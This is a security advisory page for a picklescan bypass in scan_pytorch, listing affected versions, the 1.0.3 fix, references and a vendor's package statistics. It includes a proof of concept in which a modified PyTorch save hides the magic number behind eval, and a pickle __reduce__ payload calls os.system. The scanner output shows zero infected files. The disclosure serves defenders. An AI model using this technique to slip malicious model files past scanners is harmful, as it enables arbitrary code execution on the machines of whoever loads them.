Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Summary
This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.
PoC
Attack Step 1
we can edit the source code of the function _legacy_save() as follows:
class payload:
def __reduce__(self):
return (eval, ('MAGIC_NUMBER',))
pickle_module.dump(payload(), f, protocol=pickle_protocol)
Attack Step 2
with the modified version of PyTorch, we run the following PoC to generate the payload.pt:
import torch
class payload:
def __reduce__(self):
return (__import__('os').system, ('touch /tmp/hacked',))
torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0
Victim Step
import torch
torch.load('./payload.pt', weights_only=False)
then you can find the illegal file /tmp/hacked created in your local system.
Impact
Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | picklescan | < 1.0.3 | 1.0.3 |
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2
- https://nvd.nist.gov/vuln/detail/CVE-2026-53875
- https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89
- https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c
- https://github.com/mmaitre314/picklescan
- https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-97f8-7cmv-76j2
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-184- Platform
- Python (PyPI)
- Package
picklescan- Disclosed
- 18.02.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2873 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-97f8-7cmv-76j2 - CC BY 4.0
Vulnerability history: picklescan
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 02.2025 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 7
- High 25
- Medium 26
Disclosures per year
- 2025: 51
- 2026: 7
-
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.